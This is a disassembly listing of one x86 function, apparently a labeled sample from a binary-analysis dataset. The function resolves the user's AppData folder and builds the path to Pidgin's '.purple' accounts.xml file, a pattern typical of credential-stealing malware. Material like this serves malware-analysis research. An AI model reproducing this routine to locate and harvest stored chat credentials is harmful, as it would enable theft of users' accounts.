Function at 0x10097ed0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x188
mov eax, dword [0x10100008]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
push 0
mov edi, ecx
mov ecx, 0x10102458
push 0x100f1188
call fcn.100b2ac0
lea eax, [ebp + 8]
push eax
lea ecx, [ebp - 0x140]
call fcn.100b24b0
lea eax, [ebp - 0x110]
push eax
push 0
push 0
push 0x1a
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
lea ecx, [ebp - 0x110]
mov dword [ebp - 0x128], 0
mov dword [ebp - 0x118], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x114], 0xf
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10097f43
sub ecx, edx
lea eax, [ebp - 0x110]
push ecx
push eax
lea ecx, [ebp - 0x128]
call fcn.100b2ac0
sub esp, 0x18
lea eax, [ebp - 0x140]
mov ecx, esp
push eax
call fcn.100b24b0
sub esp, 0x18
lea ecx, [ebp - 0x128]
mov esi, esp
push str..purple_accounts.xml
call fcn.100b2330
mov dword [esi], 0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
movups xmm0, xmmword [eax]
movups xmmword [esi], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [esi + 0x10], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
call fcn.10095f90
mov edx, dword [ebp - 0x114]
add esp, 0x30
cmp edx, 0x10
jb 0x10097ffc
mov ecx, dword [ebp - 0x128]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x10097ff2
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10098346
push edx
push ecx
call fcn.100be753
add esp, 8
mov edx, dword [ebp - 0x12c]
cmp edx, 0x10
jb 0x10098036
mov ecx, dword [ebp - 0x140]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1009802c
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10098350
push edx
push ecx
call fcn.100be753
add esp, 8
sub esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
push eax
call fcn.100b24b0
call fcn.100971b0
lea eax, [ebp + 8]
mov ecx, esp
push eax
call fcn.100b24b0
call fcn.100975f0
lea eax, [ebp + 8]
mov ecx, esp
push eax
call fcn.100b24b0
call fcn.10097a60
add esp, 0x18
lea eax, [ebp + 8]
cmp dword [ebp + 0x1c], 0x10
cmovae eax, dword [ebp + 8]
cmp dword [ebp + 0x18], 1
jne 0x100982f8
cmp byte [eax], 0x30
jne 0x100982f8
mov edx, dword [0x101039fc]
test edx, edx
jle 0x100982f8
lea ecx, [ebp - 0x188]
call fcn.100833a0
push 8
push str.Pidgin__
push ecx
mov ecx, eax
call fcn.100b6da0
push 0x100fa73c
lea ecx, [ebp - 0x128]
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x128], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x118], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
call fcn.100b2330
push 0x100fa738
lea ecx, [ebp - 0x170]
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x170], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x160], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
call fcn.100b2330
push 0x10101c60
lea edx, [ebp - 0x158]
lea ecx, [ebp - 0x140]
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x158], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x148], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
call fcn.100b2f10
add esp, 4
mov ecx, 0x10101c60
push eax
call fcn.100b23f0
mov edx, dword [ebp - 0x12c]
cmp edx, 0x10
jb 0x100981a8
mov ecx, dword [ebp - 0x140]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1009819e
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1009834b
push edx
push ecx
call fcn.100be753
add esp, 8
mov edx, dword [ebp - 0x144]
mov dword [ebp - 0x130], 0
mov dword [ebp - 0x12c], 0xf
mov byte [ebp - 0x140], 0
cmp edx, 0x10
jb 0x100981fd
mov ecx, dword [ebp - 0x158]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100981f3
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1009834b
push edx
push ecx
call fcn.100be753
add esp, 8
mov edx, dword [ebp - 0x15c]
mov dword [ebp - 0x148], 0
mov dword [ebp - 0x144], 0xf
mov byte [ebp - 0x158], 0
cmp edx, 0x10
jb 0x10098252
mov ecx, dword [ebp - 0x170]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x10098248
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1009834b
push edx
push ecx
call fcn.100be753
add esp, 8
mov edx, dword [ebp - 0x114]
mov dword [ebp - 0x160], 0
mov dword [ebp - 0x15c], 0xf
mov byte [ebp - 0x170], 0
cmp edx, 0x10
jb 0x100982a7
mov ecx, dword [ebp - 0x128]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1009829d
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1009834b
push edx
push ecx
call fcn.100be753
add esp, 8
mov edx, dword [ebp - 0x174]
mov dword [ebp - 0x118], 0
mov dword [ebp - 0x114], 0xf
mov byte [ebp - 0x128], 0
cmp edx, 0x10
jb 0x100982f8
mov ecx, dword [ebp - 0x188]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100982ee
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1009834b
push edx
push ecx
call fcn.100be753
add esp, 8
push 0x10101c60
mov ecx, edi
call fcn.100b24b0
mov edx, dword [ebp + 0x1c]
cmp edx, 0x10
jb 0x10098334
mov ecx, dword [ebp + 8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1009832a
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10098350
push edx
push ecx
call fcn.100be753
add esp, 8
mov ecx, dword [ebp - 4]
mov eax, edi
pop edi
xor ecx, ebp
pop esi
call fcn.100be1f9
mov esp, ebp
pop ebp
ret
call fcn.100ca55d
call fcn.100ca55d
call fcn.100ca55d
int3